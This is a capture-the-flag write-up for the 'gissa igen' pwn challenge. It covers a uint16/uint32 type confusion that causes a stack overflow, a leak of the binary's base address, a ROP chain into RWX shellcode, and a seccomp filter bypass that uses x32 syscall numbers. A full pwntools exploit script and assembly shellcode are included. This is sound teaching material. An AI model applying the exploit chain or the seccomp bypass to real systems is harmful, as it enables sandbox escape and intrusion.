Last year some dirty hackers found a way around my guessing challenge, well I patched the issue. Can you guess again?

Service: nc gissa-igen-01.play.midnightsunctf.se 4096

Download: gissa_igen.tar.gz

Analysis

The provided binary first mmaps the flag and then lets us try to guess it. After mapping the flag, the binary also installs a seccomp filter which forbids the system calls open, clone, fork, vfork, execve, creat, openat and execveat.

The length of the buffer our input is read to is stored in the main() function as a uint16_t, but a pointer to this length is passed to the guess_flag() function as a uint32_t *. Right after the buffer length the current number of tries is stored, so when guess_flag() accesses the buffer length, it actually uses both of these values. This has the effect that on our first guess, the buffer length has the correct value of 0x8b, but on the second guess, the buffer length has increased to 0x1008b, which leads to a stack buffer overflow.

Exploit: ROP

No canary is used, so we can easily overwrite the return address. The only problem left before we can execute a ROP chain is that we don’t know the binary’s base address (it’s a PIE). But that’s easily solved: because the binary doesn’t terminate our input string, we can leak the original return address before sending our ROP chain. However, when we gain control of the execution flow, the flag has already been unmapped and its file descriptor closed. There’s no way for us to divert the execution flow before that point, so we have to find a way to bypass the seccomp filter.

ROP to Shellcode

To ease bypassing of the seccomp filter, let’s first set up a ROP chain to get shellcode execution. The ROP chain is pretty straightforward: map some RWX memory at a fixed address, read our next input into it, and jump there.

sc_addr = 0x1337000
rop = rop_call(binary + off_mmap, sc_addr, 0x10000, 7, 0x32, -1, 0)
rop += rop_call(binary + off_read, 0, sc_addr, 0x10000)
rop += p64(sc_addr)

Bypass seccomp Filter

Now that we can execute shellcode, the only thing left is somehow bypassing the seccomp filter in order to read the flag. Here’s the filter used:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW

The filter checks the current architecture, so we cannot bypass it by switching to 32-bit mode However, if we set bit 30 of the syscall number, we can access the ‘x32’ syscall ABI, which provides basically the same system calls and is not blocked by the seccomp filter. Thus, using syscall 0x40000002 instead of 2 for open lets us open and print the flag.

# open(0x1338000, 0, 0) - 0x1338000 contains the path
mov rax, 0x40000002
mov rdi, 0x1338000
mov rsi, 0
mov rdx, 0
syscall

# read(flag, 0x1338000, 0x100)
mov rdi, rax
mov rax, 0
mov rsi, 0x1338000
mov rdx, 0x100
syscall

# write(1, 0x1338000, 0x100)
mov rax, 1
mov rdi, 1
mov rsi, 0x1338000
mov rdx, 0x100
syscall

Flag: midnight{I_kN3w_1_5H0ulD_h4v3_jUst_uS3d_l1B5eCC0mP}

Exploit Code

from pwn import *

context.binary = 'gissa_igen'

shellcode = asm('''
    mov rax, 0x40000002
    mov rdi, 0x1338000
    mov rsi, 0
    mov rdx, 0
    syscall

    mov rdi, rax
    mov rax, 0
    mov rsi, 0x1338000
    mov rdx, 0x100
    syscall

    mov rax, 1
    mov rdi, 1
    mov rsi, 0x1338000
    mov rdx, 0x100
    syscall
''')

g = remote('gissa-igen-01.play.midnightsunctf.se', 4096)

# increase buf_len
g.sendlineafter('flag (', '')
g.recvuntil('try again')

# overwrite buf_len with 168
g.sendlineafter('flag (', 'A' * 140 + p32(168) + p64(0) * 2)

# leak binary addr
g.sendafter('flag (', 'A' * 140 + '\xff\xff' + '\x01\x01' + 'B' * 8 + '\xff' * 8 + 'C' * 8)
g.recvuntil('C' * 8)
binary = u64(g.recvuntil(' is not right', drop=True).ljust(8, '\0')) - 0xbc5
info("binary @ 0x%x", binary)

# ROP to shellcode

def rop_call(func, rdi=0, rsi=0, rdx=0, rcx=0, r8=0, r9=0):
    return flat(binary + 0xc1f, rcx, 0, 0, 0, binary + 0xc1d, rdx, r9, r8, rdi, rsi, func)

sc_addr = 0x1337000
# mmap
rop = rop_call(binary + 0xc0c, sc_addr, 0x10000, 7, 0x32, -1, 0)
# read
rop += rop_call(binary + 0xbd4, 0, sc_addr, 0x10000)
rop += p64(sc_addr)
g.sendlineafter('flag (', 'A' * 168 + rop)

g.sendafter('not right.\n', shellcode.ljust(0x1000, '\0') + '/home/ctf/flag\0')

g.interactive()